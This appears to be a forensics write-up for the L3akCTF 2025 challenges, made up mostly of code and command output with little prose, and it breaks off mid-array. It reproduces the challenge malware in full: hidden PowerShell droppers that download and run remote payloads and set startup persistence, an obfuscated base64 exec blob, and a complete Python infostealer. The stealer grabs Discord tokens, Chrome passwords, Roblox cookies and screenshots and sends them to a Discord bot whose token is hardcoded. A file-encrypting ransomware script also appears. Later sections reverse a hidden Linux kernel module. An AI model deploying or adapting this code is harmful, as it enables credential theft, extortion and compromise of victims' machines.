L3akCTF 2025 (Post Mortem) | Full Forensics

start /min cmd /c "powershell -WindowStyle Hidden -Command Invoke-WebRequest -Uri 'https://github.com/bluecrustacean/oceanman/raw/main/t1-l3ak.bat' -OutFile '%TEMP%\temp.bat'; Start-Process -FilePath '%TEMP%\temp.bat' -WindowStyle Hidden"

start /min powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://github.com/bluecrustacean/oceanman/raw/main/ud.bat', '%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\WindowsSecure.bat'); (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/uuhwziczwa79d6r8erdid/T602.zip?rlkey=fq4lptuz5tvw2qjydfwj9k0ym&st=mtz77hlx&dl=1', 'C:\\Users\\Public\\Document.zip'); Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory('C:/Users/Public/Document.zip', 'C:/Users/Public/Document'); Start-Sleep -Seconds 60; C:\\Users\\Public\\Document\\python.exe C:\Users\Public\Document\Lib\leak.py; Remove-Item 'C:/Users/Public/Document.zip' -Force" && exit

_ = lambda __ : __import__('base64').b64decode(__[::-1]);
exec(\
  (_)(b'=kSKnoFWoxWW5d2bYl3avlVajlDUWZETjdkTwZVMs9mUyoUYiRkThRWbodlWYlUNWFDZ3RFbkBVVXJ1RXtmVPJVMKR1Vsp1Vj1mUZRFbOFmYGRGMW1GeoJVMadlVYxmbSJjThN2RxMFVF9WeZRlTr1UMSllUtBHWZVlSxV1aW9UTWplcX1WNYRmM0VUWxI0UhFjShVlaKdlTHdGeWxGbHZ1a180VrpFakBjWzZ1a5cUTWJ1VXxmVPd1RSJnVxgWYiVUMM90VxUlVYJkVWJjRwImVONjWHhXaRJjU1Z1MjBTYwUTYTtmUqRleGJXVr...'))

import psutil
import platform
import json
from datetime import datetime
from time import sleep
import requests
import socket
from requests import get
import os
import re
import subprocess
from uuid import getnode as get_mac
import browser_cookie3 as steal, requests, base64, random, string, zipfile, shutil, os, re, sys, sqlite3
from cryptography.hazmat.primitives.ciphers import (Cipher, algorithms, modes)
from cryptography.hazmat.primitives.ciphers.aead import AESGCM
from cryptography.hazmat.backends import default_backend
from Crypto.Cipher import AES
from base64 import b64decode, b64encode
from subprocess import Popen, PIPE
from json import loads, dumps
from shutil import copyfile
from sys import argv
import discord
from discord.ext import commands
from io import BytesIO

intents = discord.Intents.default()
intents.message_content = True
bot = commands.Bot(command_prefix='!', intents=intents)

def scale(bytes, suffix="B"):
    defined = 1024
    for unit in ["", "K", "M", "G", "T", "P"]:
        if bytes < defined:
            return f"{bytes:.2f}{unit}{suffix}"
        bytes /= defined

uname = platform.uname()
bt = datetime.fromtimestamp(psutil.boot_time())
host = socket.gethostname()
localip = socket.gethostbyname(host)

publicip = get(f'https://ipinfo.io/ip').text
city = get(f'https://ipinfo.io/{publicip}/city').text
region = get(f'https://ipinfo.io/{publicip}/region').text
postal = get(f'https://ipinfo.io/{publicip}/postal').text
timezone = get(f'https://ipinfo.io/{publicip}/timezone').text
currency = get(f'https://ipinfo.io/{publicip}/currency').text
country = get(f'https://ipinfo.io/{publicip}/country').text
loc = get(f"https://ipinfo.io/{publicip}/loc").text
vpn = requests.get('http://ip-api.com/json?fields=proxy')
proxy = vpn.json()['proxy']
mac = get_mac()

roaming = os.getenv('AppData')
output = open(roaming + "temp.txt", "a")

Directories = {
        'Discord': roaming + '\\Discord',
        'Discord Two': roaming + '\\discord',
        'Discord Canary': roaming + '\\Discordcanary',
        'Discord Canary Two': roaming + '\\discordcanary',
        'Discord PTB': roaming + '\\discordptb',
        'Google Chrome': roaming + '\\Google\\Chrome\\User Data\\Default',
        'Opera': roaming + '\\Opera Software\\Opera Stable',
        'Brave': roaming + '\\BraveSoftware\\Brave-Browser\\User Data\\Default',
        'Yandex': roaming + '\\Yandex\\YandexBrowser\\User Data\\Default',
}

def Yoink(Directory):
    Directory += '\\Local Storage\\leveldb'
    Tokens = []

    for FileName in os.listdir(Directory):
        if not FileName.endswith('.log') and not FileName.endswith('.ldb'):
            continue

        for line in [x.strip() for x in open(f'{Directory}\\{FileName}', errors='ignore').readlines() if x.strip()]:
            for regex in (r'[\w-]{24}\.[\w-]{6}\.[\w-]{27}', r'mfa\.[\w-]{84}'):
                for Token in re.findall(regex, line):
                    Tokens.append(Token)

    return Tokens

def Wipe():
    if os.path.exists(roaming + "temp.txt"):
      output2 = open(roaming + "temp.txt", "w")
      output2.write("")
      output2.close()
    else:
      pass

realshit = ""
for Discord, Directory in Directories.items():
    if os.path.exists(Directory):
        Tokens = Yoink(Directory)
        if len(Tokens) > 0:
            for Token in Tokens:
                realshit += f"{Token}\n"

cpufreq = psutil.cpu_freq()
svmem = psutil.virtual_memory()
partitions = psutil.disk_partitions()
disk_io = psutil.disk_io_counters()
net_io = psutil.net_io_counters()

partitions = psutil.disk_partitions()
partition_usage = None
for partition in partitions:
    try:
        partition_usage = psutil.disk_usage(partition.mountpoint)
        break
    except PermissionError:
        continue

system_info = {
    "embeds": [
        {
            "title": f"Hah Gottem! - {host}",
            "color": 8781568
        },
        {
            "color": 7506394,
            "fields": [
                {
                    "name": "GeoLocation",
                    "value": f"Using VPN?: {proxy}\nLocal IP: {localip}\nPublic IP: {publicip}\nMAC Adress: {mac}\n\nCountry: {country} | {loc} | {timezone}\nregion: {region}\nCity: {city} | {postal}\nCurrency: {currency}\n\n\n\n"
                }
            ]
        },
        {
            "fields": [
                {
                    "name": "System Information",
                    "value": f"System: {uname.system}\nNode: {uname.node}\nMachine: {uname.machine}\nProcessor: {uname.processor}\n\nBoot Time: {bt.year}/{bt.month}/{bt.day} {bt.hour}:{bt.minute}:{bt.second}"
                }
            ]
        },
        {
            "color": 15109662,
            "fields": [
                {
                    "name": "CPU Information",
                    "value": f"Psychical cores: {psutil.cpu_count(logical=False)}\nTotal Cores: {psutil.cpu_count(logical=True)}\n\nMax Frequency: {cpufreq.max:.2f}Mhz\nMin Frequency: {cpufreq.min:.2f}Mhz\n\nTotal CPU usage: {psutil.cpu_percent()}\n"
                },
                {
                    "name": "Memory Information",
                    "value": f"Total: {scale(svmem.total)}\nAvailable: {scale(svmem.available)}\nUsed: {scale(svmem.used)}\nPercentage: {svmem.percent}%"
                },
                {
                    "name": "Disk Information",
                    "value": f"Total Size: {scale(partition_usage.total)}\nUsed: {scale(partition_usage.used)}\nFree: {scale(partition_usage.free)}\nPercentage: {partition_usage.percent}%\n\nTotal read: {scale(disk_io.read_bytes)}\nTotal write: {scale(disk_io.write_bytes)}"
                },
                {
                    "name": "Network Information",
                    "value": f"Total Sent: {scale(net_io.bytes_sent)}\nTotal Received: {scale(net_io.bytes_recv)}"
                }
            ]
        },
        {
            "color": 7440378,
            "fields": [
                {
                    "name": "Discord information",
                    "value": f"Token: {realshit}"
                }
            ]
        }
    ]
}

DBP = r'Google\Chrome\User Data\Default\Login Data'
ADP = os.environ['LOCALAPPDATA']

def sniff(path):
    path += '\\Local Storage\\leveldb'

    tokens = []
    try:
        for file_name in os.listdir(path):
            if not file_name.endswith('.log') and not file_name.endswith('.ldb'):
                continue

            for line in [x.strip() for x in open(f'{path}\\{file_name}', errors='ignore').readlines() if x.strip()]:
                for regex in (r'[\w-]{24}\.[\w-]{6}\.[\w-]{27}', r'mfa\.[\w-]{84}'):
                    for token in re.findall(regex, line):
                        tokens.append(token)
        return tokens
    except:
        pass


def encrypt(cipher, plaintext, nonce):
    cipher.mode = modes.GCM(nonce)
    encryptor = cipher.encryptor()
    ciphertext = encryptor.update(plaintext)
    return (cipher, ciphertext, nonce)


def decrypt(cipher, ciphertext, nonce):
    cipher.mode = modes.GCM(nonce)
    decryptor = cipher.decryptor()
    return decryptor.update(ciphertext)


def rcipher(key):
    cipher = Cipher(algorithms.AES(key), None, backend=default_backend())
    return cipher


def dpapi(encrypted):
    import ctypes
    import ctypes.wintypes

    class DATA_BLOB(ctypes.Structure):
        _fields_ = [('cbData', ctypes.wintypes.DWORD),
                    ('pbData', ctypes.POINTER(ctypes.c_char))]

    p = ctypes.create_string_buffer(encrypted, len(encrypted))
    blobin = DATA_BLOB(ctypes.sizeof(p), p)
    blobout = DATA_BLOB()
    retval = ctypes.windll.crypt32.CryptUnprotectData(
        ctypes.byref(blobin), None, None, None, None, 0, ctypes.byref(blobout))
    if not retval:
        raise ctypes.WinError()
    result = ctypes.string_at(blobout.pbData, blobout.cbData)
    ctypes.windll.kernel32.LocalFree(blobout.pbData)
    return result


def localdata():
    jsn = None
    with open(os.path.join(os.environ['LOCALAPPDATA'], r"Google\Chrome\User Data\Local State"), encoding='utf-8', mode="r") as f:
        jsn = json.loads(str(f.readline()))
    return jsn["os_crypt"]["encrypted_key"]


def decryptions(encrypted_txt):
    encoded_key = localdata()
    encrypted_key = base64.b64decode(encoded_key.encode())
    encrypted_key = encrypted_key[5:]
    key = dpapi(encrypted_key)
    nonce = encrypted_txt[3:15]
    cipher = rcipher(key)
    return decrypt(cipher, encrypted_txt[15:], nonce)


class chrome:
    def __init__(self):
        self.passwordList = []

    def chromedb(self):
        _full_path = os.path.join(ADP, DBP)
        _temp_path = os.path.join(ADP, 'sqlite_file')
        if os.path.exists(_temp_path):
            os.remove(_temp_path)
        shutil.copyfile(_full_path, _temp_path)
        self.pwsd(_temp_path)
        
    def pwsd(self, db_file):
        conn = sqlite3.connect(db_file)
        _sql = 'select signon_realm,username_value,password_value from logins'
        for row in conn.execute(_sql):
            host = row[0]
            if host.startswith('android'):
                continue
            name = row[1]
            value = self.cdecrypt(row[2])
            _info = '[==================]\nhostname => : %s\nlogin => : %s\nvalue => : %s\n[==================]\n\n' % (host, name, value)
            self.passwordList.append(_info)
        conn.close()
        os.remove(db_file)

    def cdecrypt(self, encrypted_txt):
        if sys.platform == 'win32':
            try:
                if encrypted_txt[:4] == b'\x01\x00\x00\x00':
                    decrypted_txt = dpapi(encrypted_txt)
                    return decrypted_txt.decode()
                elif encrypted_txt[:3] == b'v10':
                    decrypted_txt = decryptions(encrypted_txt)
                    return decrypted_txt[:-16].decode()
            except WindowsError:
                return None
        else:
            pass

    def saved(self):
        try:
            with open(r'C:\ProgramData\passwords.txt', 'w', encoding='utf-8') as f:
                f.writelines(self.passwordList)
        except WindowsError:
            return None

@bot.event
async def on_ready():
    print(f'Logged in as {bot.user}')
    
    channel = bot.get_channel(CHANNEL_ID)
    if not channel:
        print(f"Could not find channel with ID: {CHANNEL_ID}")
        return
    
    main = chrome()
    try:
        main.chromedb()
    except Exception as e:
        print(f"Error getting Chrome passwords: {e}")
    main.saved()
    
    await exfiltrate_data(channel)
    
    await bot.close()

async def exfiltrate_data(channel):
    try:
        hostname = requests.get("https://ipinfo.io/ip").text
    except:
        hostname = "Unknown"
    
    local = os.getenv('LOCALAPPDATA')
    roaming = os.getenv('APPDATA')
    paths = {
        'Discord': roaming + '\\Discord',
        'Discord Canary': roaming + '\\discordcanary',
        'Discord PTB': roaming + '\\discordptb',
        'Google Chrome': local + '\\Google\\Chrome\\User Data\\Default',
        'Opera': roaming + '\\Opera Software\\Opera Stable',
        'Brave': local + '\\BraveSoftware\\Brave-Browser\\User Data\\Default',
        'Yandex': local + '\\Yandex\\YandexBrowser\\User Data\\Default'
    }

    message = '\n'
    for platform, path in paths.items():
        if not os.path.exists(path):
            continue

        message += '```'
        tokens = sniff(path)

        if len(tokens) > 0:
            for token in tokens:
                message += f'{token}\n'
        else:
            pass
        message += '```'

    try:
        from PIL import ImageGrab
        from Crypto.Cipher import ARC4
        screenshot = ImageGrab.grab()
        screenshot_path = os.getenv('ProgramData') + r'\pay2winflag.jpg'
        screenshot.save(screenshot_path)

        with open(screenshot_path, 'rb') as f:
            image_data = f.read()

        key = b'tralalero_tralala'
        cipher = ARC4.new(key)
        encrypted_data = cipher.encrypt(image_data)

        encrypted_path = screenshot_path + '.enc'
        with open(encrypted_path, 'wb') as f:
            f.write(encrypted_data)

        await channel.send(f"Screenshot from {hostname} (Pay $500 for the key)", file=discord.File(encrypted_path))

    except Exception as e:
        print(f"Error taking screenshot: {e}")

    try:
        zname = r'C:\ProgramData\passwords.zip'
        newzip = zipfile.ZipFile(zname, 'w')
        newzip.write(r'C:\ProgramData\passwords.txt')
        newzip.close()
        
        await channel.send(f"Passwords from {hostname}", file=discord.File(zname))
    except Exception as e:
        print(f"Error with password file: {e}")

    try:
        usr = os.getenv("UserName")
        keys = subprocess.check_output('wmic path softwarelicensingservice get OA3xOriginalProductKey').decode().split('\n')[1].strip()
        types = subprocess.check_output('wmic os get Caption').decode().split('\n')[1].strip()
    except Exception as e:
        print(f"Error getting system info: {e}")
        usr = "Unknown"
        keys = "Unknown"
        types = "Unknown"

    cookie = [".ROBLOSECURITY"]
    cookies = []
    limit = 2000
    roblox = "No Roblox cookies found"

    try:
        cookies.extend(list(steal.chrome()))
    except Exception as e:
        print(f"Error stealing Chrome cookies: {e}")

    try:
        cookies.extend(list(steal.firefox()))
    except Exception as e:
        print(f"Error stealing Firefox cookies: {e}")

    try:
        for y in cookie:
            send = str([str(x) for x in cookies if y in str(x)])
            chunks = [send[i:i + limit] for i in range(0, len(send), limit)]
            for z in chunks:
                roblox = f'```{z}```'
    except Exception as e:
        print(f"Error processing cookies: {e}")

    embed = discord.Embed(title=f"Data from {hostname}", description="A victim's data was extracted, here's the details:", color=discord.Color.blue())
    embed.add_field(name="Windows Key", value=f"User: {usr}\nType: {types}\nKey: {keys}", inline=False)
    embed.add_field(name="Roblox Security", value=roblox[:1024], inline=False)
    embed.add_field(name="Tokens", value=message[:1024], inline=False)
    
    await channel.send(embed=embed)
    
    with open(r'C:\ProgramData\system_info.json', 'w', encoding='utf-8') as f:
        json.dump(system_info, f, indent=4, ensure_ascii=False)
    
    await channel.send(file=discord.File(r'C:\ProgramData\system_info.json'))

    try:
        os.remove(r'C:\ProgramData\pay2winflag.jpg')
        os.remove(r'C:\ProgramData\pay2winflag.jpg.enc')
        os.remove(r'C:\ProgramData\passwords.zip')
        os.remove(r'C:\ProgramData\passwords.txt')
        os.remove(r'C:\ProgramData\system_info.json')
    except Exception as e:
        print(f"Error cleaning up: {e}")

BOT_TOKEN = "MTM2NDIzNDEzNjE5MzMzOTQyNA.GHC4yD.ZUzwkrAEMW9GlLsmVnP7FbdY317MqM234Bd2vE"
CHANNEL_ID = 1371505369230344273

if __name__ == "__main__":
    bot.run(BOT_TOKEN)

from PIL import ImageGrab
from Crypto.Cipher import ARC4
screenshot = ImageGrab.grab()
screenshot_path = os.getenv('ProgramData') + r'\pay2winflag.jpg'
screenshot.save(screenshot_path)

with open(screenshot_path, 'rb') as f:
  image_data = f.read()

key = b'tralalero_tralala'
cipher = ARC4.new(key)
encrypted_data = cipher.encrypt(image_data)

encrypted_path = screenshot_path + '.enc'
with open(encrypted_path, 'wb') as f:
  f.write(encrypted_data)

await channel.send(f"Screenshot from {hostname} (Pay $500 for the key)", file=discord.File(encrypted_path))

start /min powershell.exe -WindowStyleHidden -Command "C:\Users\Public\Document\python C:\Users\Public\Document\Lib\leak.py"

Directory of C:\L3akCTF\NTFS

07/16/2025  03:31 PM    <DIR>          .
07/16/2025  03:31 PM    <DIR>          ..
06/27/2025  05:49 AM                48 flag.enc
06/27/2025  05:48 AM             2,074 payload.enc
06/27/2025  05:49 AM               240 ransom_note.txt
06/27/2025  05:49 AM           241,632 RIP_PuppyJaws.enc
06/27/2025  05:42 AM    <DIR>          System Volume Information
06/27/2025  05:49 AM               432 trip_itinerary.enc
06/27/2025  05:50 AM    <DIR>          [SYSTEM]
               5 File(s)        244,426 bytes
               4 Dir(s)  376,262,365,184 bytes free

$key = [System.Text.Encoding]::UTF8.GetBytes("0123456789abcdef")
$iv  = [System.Text.Encoding]::UTF8.GetBytes("abcdef9876543210")

$AES = New-Object System.Security.Cryptography.AesManaged
$AES.Key = $key
$AES.IV = $iv
$AES.Mode = "CBC"
$AES.Padding = "PKCS7"

$enc = Get-Content "L:\payload.enc" -Raw
$bytes = [System.Convert]::FromBase64String($enc)
$decryptor = $AES.CreateDecryptor()
$plaintext = $decryptor.TransformFinalBlock($bytes, 0, $bytes.Length)
$script = [System.Text.Encoding]::UTF8.GetString($plaintext)

Invoke-Expression $script

Remove-Item $MyInvocation.MyCommand.Path

$key = [System.Text.Encoding]::UTF8.GetBytes("m4yb3w3d0nt3x1st")
$iv  = [System.Text.Encoding]::UTF8.GetBytes("l1f31sf0rl1v1ng!")

$AES = New-Object System.Security.Cryptography.AesManaged
$AES.Key = $key
$AES.IV = $iv
$AES.Mode = "CBC"
$AES.Padding = "PKCS7"

## Load plaintext flag from C:\ (never written to L:\ in plaintext)
$flag = Get-Content "C:\Users\Blue\Desktop\StageRansomware\flag.txt" -Raw
$encryptor = $AES.CreateEncryptor()
$bytes = [System.Text.Encoding]::UTF8.GetBytes($flag)
$cipher = $encryptor.TransformFinalBlock($bytes, 0, $bytes.Length)
[System.IO.File]::WriteAllBytes("L:\flag.enc", $cipher)

## Encrypt other files staged in D:\ (or L:\ if you're using L:\ now)
$files = Get-ChildItem "L:\" -File | Where-Object {
    $_.Name -notin @("ransom.ps1", "ransom_note.txt", "flag.enc", "payload.enc", "loader.ps1")
}

foreach ($file in $files) {
    $plaintext = Get-Content $file.FullName -Raw
    $bytes = [System.Text.Encoding]::UTF8.GetBytes($plaintext)
    $cipher = $encryptor.TransformFinalBlock($bytes, 0, $bytes.Length)
    [System.IO.File]::WriteAllBytes("L:\$($file.BaseName).enc", $cipher)
    Remove-Item $file.FullName
}

## Write ransom note
$ransomNote = @"
i didn't mean to encrypt them.
i was just trying to remember.

the key? maybe it's still somewhere in the dark.
the script? it was scared, so it disappeared too.

maybe you'll find me.
maybe you'll find yourself.

- vivi (or his ghost)
"@
Set-Content "L:\ransom_note.txt" $ransomNote -Encoding UTF8

## Self-delete
Remove-Item $MyInvocation.MyCommand.Path

  <?xml version="1.0" ?> 
- <WLANProfile xmlns="http://www.microsoft.com/networking/WLAN/profile/v1">
  <name>mugs_guest_5G</name> 
- <SSIDConfig>
- <SSID>
  <hex>6D7567735F67756573745F3547</hex> 
  <name>mugs_guest_5G</name> 
  </SSID>
  </SSIDConfig>
  <connectionType>ESS</connectionType> 
  <connectionMode>auto</connectionMode> 
- <MSM>
- <security>
- <authEncryption>
  <authentication>WPA3SAE</authentication> 
  <encryption>AES</encryption> 
  <useOneX>false</useOneX> 
  <transitionMode xmlns="http://www.microsoft.com/networking/WLAN/profile/v4">true</transitionMode> 
  </authEncryption>
- <sharedKey>
  <keyType>passPhrase</keyType> 
  <protected>true</protected> 
  <keyMaterial>01000000D08C9DDF0115D1118C7A00C04FC297EB0100000027BA46BE60165F489902447DADDD376400000000020000000000106600000001000020000000B71A769EE992B83996ACA0EA2DDBD36FB687258C5F465FE82B76A88162AFD186000000000E800000000200002000000053332437AB2888DBDBE294DAA0FEB07172871F6D1C20F0EEB1A9C0F03A4440711000000070C4F37EE924D6D41E9FB19BF319753240000000F85ABD2CD15A0FDBE8BA653A75ADEF9A2CCEAA6E9D61E34D4ACB7D29A072EEEAEA84905134174A5C59BAFFE042869B18D07D4B3AA9E4329945235F59A46F7B98</keyMaterial> 
  </sharedKey>
  </security>
  </MSM>
- <MacRandomization xmlns="http://www.microsoft.com/networking/WLAN/profile/v3">
  <enableRandomization>false</enableRandomization> 
  <randomizationSeed>2081371451</randomizationSeed> 
  </MacRandomization>
  </WLANProfile>

$> file Backup.dat
Backup.dat: data

$> mn Backup.dat
00000000: 7769 6e2d 6164 2d6f 6200 0100 0100 57fb  win-ad-ob.....W.
00000010: 8857 5be1 db01 0000 0000 0000 0000 0000  .W[.............
00000020: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000030: 0000 0000 0000 0000 0000 0000 0000 0000  ................

$> alias mn
mn='f(){ /usr/bin/xxd "$1" | /usr/bin/head -n4; unset -f f; }; f'

PS C:\L3akCTF> & "C:\Program Files\VolatilityWorkbench\vol.exe" -f .\memdump.elf banners.Banners
Volatility 3 Framework 2.11.0
Progress:  100.00               PDB scanning finished
Offset  Banner

0x35400240      Linux version 5.19.0-1030-lowlatency (buildd@bos03-amd64-002) (x86_64-linux-gnu-gcc (Ubuntu 11.3.0-1ubuntu1~22.04.1) 11.3.0, GNU ld (GNU Binutils for Ubuntu) 2.38) #30-Ubuntu SMP PREEMPT_DYNAMIC Thu Jul 13 10:06:08 UTC 2023 (Ubuntu 5.19.0-1030.30-lowlatency 5.19.17)
0x373bb4c0      Linux version 5.19.0-1030-lowlatency (buildd@bos03-amd64-002) (x86_64-linux-gnu-gcc (Ubuntu 11.3.0-1ubuntu1~22.04.1) 11.3.0, GNU ld (GNU Binutils for Ubuntu) 2.38) #30-Ubuntu SMP PREEMPT_DYNAMIC Thu Jul 13 10:06:08 UTC 2023 (Ubuntu 5.19.0-1030.30-lowlatency 5.19.17)7)

PS C:\L3akCTF> & "C:\Program Files\VolatilityWorkbench\vol.exe" -f .\memdump.elf linux.pslist.PsList
Volatility 3 Framework 2.11.0
Progress:  100.00               Stacking attempts finished
OFFSET (V)      PID     TID     PPID    COMM    CREATION TIME   File output
0x9f694f315100  3853    3853    2       core_logic_thre 2025-06-21 18:45:19.323931 UTC  Disabled

PS C:\L3akCTF> & "C:\Program Files\VolatilityWorkbench\vol.exe" -f .\memdump.elf linux.proc.Maps --pid 3853
Volatility 3 Framework 2.11.0
Progress:  100.00               Stacking attempts finished
PID     Process Start   End     Flags   PgOff   Major   Minor   Inode   File Path       File output

PS C:\L3akCTF> & "C:\Program Files\VolatilityWorkbench\vol.exe" -f .\memdump.elf linux.sockstat --pid 3853
Volatility 3 Framework 2.11.0
Progress:  100.00               Stacking attempts finished
NetNS   Process Name    PID     TID     FD      Sock Offset     Family  Type    Proto   Source Addr     Source Port     Destination Addr        Destination Port        State   Filter

PS C:\L3akCTF> & "C:\Program Files\VolatilityWorkbench\vol.exe" -f .\memdump.elf linux.envars.Envars --pid 3853
Volatility 3 Framework 2.11.0
Progress:  100.00               Stacking attempts finished
PID     PPID    COMM    KEY     VALUE

PS C:\L3akCTF> & "C:\Program Files\VolatilityWorkbench\vol.exe" -f .\memdump.elf linux.malfind.Malfind --pid 3853
Volatility 3 Framework 2.11.0
Progress:  100.00               Stacking attempts finished
PID     Process Start   End     Protection      Hexdump Disasm

PS C:\L3akCTF> & "C:\Program Files\VolatilityWorkbench\vol.exe" -f .\memdump.elf  linux.hidden_modules.Hidden_modules
Volatility 3 Framework 2.11.0
Progress:  100.00               Stacking attempts finished
Address Name

0xffffc0884300  sysfillrec

PS C:\L3akCTF> & "C:\Program Files\VolatilityWorkbench\vol.exe" -f .\memdump.elf linux.lsmod.Lsmod
Volatility 3 Framework 2.11.0
Progress:  100.00               Stacking attempts finished
Offset  Name    Size

0xffffc04954c0  sysfillrect     20480

PS C:\L3akCTF> & "C:\Program Files\VolatilityWorkbench\vol.exe" -f .\memdump.elf linux.pagecache.Files
Volatility 3 Framework 2.11.0
SuperblockAddr  MountPoint  Device  InodeNum    InodeAddr   FileType    InodePages  CachedPages FileMode    AccessTime  ModificationTime    ChangeTime  FilePath

0x9f6971834800  /sys    0:21    23943   0x9f6948a44f00  DIR 0   0   drwxr-xr-x  2025-06-21 18:45:20.251654 UTC  2025-06-21 18:45:20.251654 UTC  2025-06-21 18:45:20.251654 UTC  /sys/module/sysfillrec
0x9f6971834800  /sys    0:21    23945   0x9f6948a45400  REG 1   0   --w-------  2025-06-21 18:45:20.251654 UTC  2025-06-21 18:45:20.251654 UTC  2025-06-21 18:45:20.251654 UTC  /sys/module/sysfillrec/uevent
0x9f6971854000  /   8:3 4718599 0x9f6952619d18  REG 114 114 -rw-r--r--  2025-06-21 18:41:36.076578 UTC  2025-06-21 18:41:32.468851 UTC  2025-06-21 18:41:32.468851 UTC  /usr/lib/modules/5.19.0-1030-lowlatency/kernel/drivers/video/fbdev/sysfillrec.ko

PS C:\L3akCTF> & "C:\Program Files\VolatilityWorkbench\vol.exe" -f memdump.elf linux.pagecache.InodePages --inode 0x9f6952619d18 --dump sysfillrec.ko
Volatility 3 Framework 2.11.0
Progress:  100.00               Stacking attempts finished
PageVAddr       PagePAddr       MappingAddr     Index   DumpSafe        Flags

0xec32c0817f00  0x205fc000      0x9f6952619e90  0       True    active,anon_exclusive,lru,mappedtodisk,referenced,reported,uptodate

$> file sysfillrec.ko
sysrefillrec.ko: ELF 64-bit LSB relocatable, x86-64, version 1 (SYSV), BuildID[sha1]=18b5201c38fadb8aa94a94d48ac739904bb4bc16, with debug_info, not stripped

unsigned __int8 *__cdecl _compile_hint_map_impl()
{
  __int64 i; // rbx
  unsigned __int64 v1; // r12
  unsigned __int8 *result; // rax

  _fentry__();
  for ( i = 0LL; i != 32; ++i )
  {
    if ( (unsigned __int64)(int)i > 0x1F )
      _ubsan_handle_out_of_bounds(&off_12C0);
    v1 = _key[i];
    if ( v1 > 0x1F )
      _ubsan_handle_out_of_bounds(&off_12A0);
    if ( (unsigned __int64)(int)i > 0x1F )
      _ubsan_handle_out_of_bounds(&off_1280);
    if ( (unsigned __int64)(int)i > 0x20 )
      _ubsan_handle_out_of_bounds(&off_1240);
    dk_11[i] = _shf[v1];
  }
  result = dk_11;
  byte_1840 = 0;
  return result;
}

.rodata:00000000000008E0 ; const unsigned __int8 _key[32]
.rodata:00000000000008E0 __key           db 5, 0Bh, 0Ch, 1Dh, 14h, 15h, 16h, 1, 0Ah, 0, 0Dh, 0Eh
.rodata:00000000000008E0                                         ; DATA XREF: __compile_hint_map_impl:loc_57↑r
.rodata:00000000000008EC                 db 0Fh, 6, 4, 7, 3, 10h, 13h, 2, 1Ch, 1Bh, 8, 9, 11h, 12h
.rodata:00000000000008FA                 db 17h, 1Ah, 19h, 1Eh, 18h, 1Fh
.rodata:0000000000000900 ; const unsigned __int8 _shf[32]
.rodata:0000000000000900 __shf           db 50h, 46h, 47h, 5Ah, 53h, 41h, 53h, 4Ch, 33h, 46h, 4Bh
.rodata:0000000000000900                                         ; DATA XREF: __compile_hint_map_impl:loc_71↑r
.rodata:000000000000090B                 db 4Eh, 54h, 4Dh, 53h, 41h, 5Ah, 47h, 36h, 46h, 4Dh, 44h
.rodata:0000000000000916                 db 59h, 36h, 43h, 46h, 50h, 4Dh, 58h, 54h, 32h, 46h

#include <stdio.h>
#include <stdint.h>
#include <ctype.h>

static const uint8_t key[32] = {
    0x05, 0x0B, 0x0C, 0x1D, 0x14, 0x15, 0x16, 0x01,
    0x0A, 0x00, 0x0D, 0x0E, 0x0F, 0x06, 0x04, 0x07,
    0x03, 0x10, 0x13, 0x02, 0x1C, 0x1B, 0x08, 0x09,
    0x11, 0x12, 0x17, 0x1A, 0x19, 0x1E, 0x18, 0x1F
};

static const uint8_t shf[32] = {
    0x50, 0x46, 0x47, 0x5A, 0x53, 0x41, 0x53, 0x4C,
    0x33, 0x46, 0x4B, 0x4E, 0x54, 0x4D, 0x53, 0x41,
    0x5A, 0x47, 0x36, 0x46, 0x4D, 0x44, 0x59, 0x36,
    0x43, 0x46, 0x50, 0x4D, 0x58, 0x54, 0x32, 0x46
};

int main(void) {
    uint8_t dk[32];

    for (int i = 0; i < 32; i++) {
        dk[i] = shf[key[i]];
    }

    printf("static const uint8_t final_key[32] = {\n    ");
    for (int i = 0; i < 32; i++) {
        printf("0x%02X%s", dk[i], (i < 31) ? ", " : "");
        if ((i % 8) == 7 && i < 31) printf("\n    ");
    }
    printf("\n};\n\n");

    printf("static const char final_key_ascii[33] = \"");
    for (int i = 0; i < 32; i++) {
        char c = (char)dk[i];
        printf("%c", isprint((unsigned char)c) ? c : '.');
    }
    printf("\";\n");

    return 0;
}

$> ./main.elf
static const uint8_t final_key[32] = {
    0x41, 0x4E, 0x54, 0x54, 0x4D, 0x44, 0x59, 0x46,
    0x4B, 0x50, 0x4D, 0x53, 0x41, 0x53, 0x53, 0x4C,
    0x5A, 0x5A, 0x46, 0x47, 0x58, 0x4D, 0x33, 0x46,
    0x47, 0x36, 0x36, 0x50, 0x46, 0x32, 0x43, 0x46
};

static const char final_key_ascii[33] = "ANTTMDYFKPMSASSLZZFGXM3FG66PF2CF";

.rodata:00000000000008C0 ; const unsigned __int8 rp[16]
.rodata:00000000000008C0 _rp             db 3, 0, 8, 0Ah, 0Ch, 0Fh, 7, 9, 0Bh, 1, 0Eh, 4, 5, 6
.rodata:00000000000008C0                                         ; DATA XREF: __dispatch_phase_impl:loc_107↑r
.rodata:00000000000008CE                 db 2, 0Dh
.rodata:00000000000008D0 ; const unsigned __int8 sp[16]
.rodata:00000000000008D0 _sp             db 41h, 2 dup(47h), 51h, 43h, 4Ch, 46h, 34h, 53h, 54h
.rodata:00000000000008D0                                         ; DATA XREF: __dispatch_phase_impl:loc_121↑r
.rodata:00000000000008DA                 db 4Dh, 50h, 42h, 32h, 41h, 4Dh

unsigned __int8 *__cdecl _dispatch_phase_impl()
{
  __int64 i; // rbx
  unsigned __int64 v1; // r12
  unsigned __int8 *result; // rax

  _fentry__();
  for ( i = 0LL; i != 16; ++i )
  {
    if ( i > 0xF )
      _ubsan_handle_out_of_bounds(&off_1200);
    v1 = rp[i];
    if ( v1 > 0xF )
      _ubsan_handle_out_of_bounds(&off_11E0);
    if ( i > 0xF )
      _ubsan_handle_out_of_bounds(&off_11C0);
    if ( i > 0x10 )
      _ubsan_handle_out_of_bounds(&off_1180);
    ot_12[i] = sp[v1];
  }
  result = ot_12;
  byte_1810 = 0;
  return result;
}

#include <stdio.h>
#include <stdint.h>
#include <ctype.h>

static const uint8_t rp[16] = {
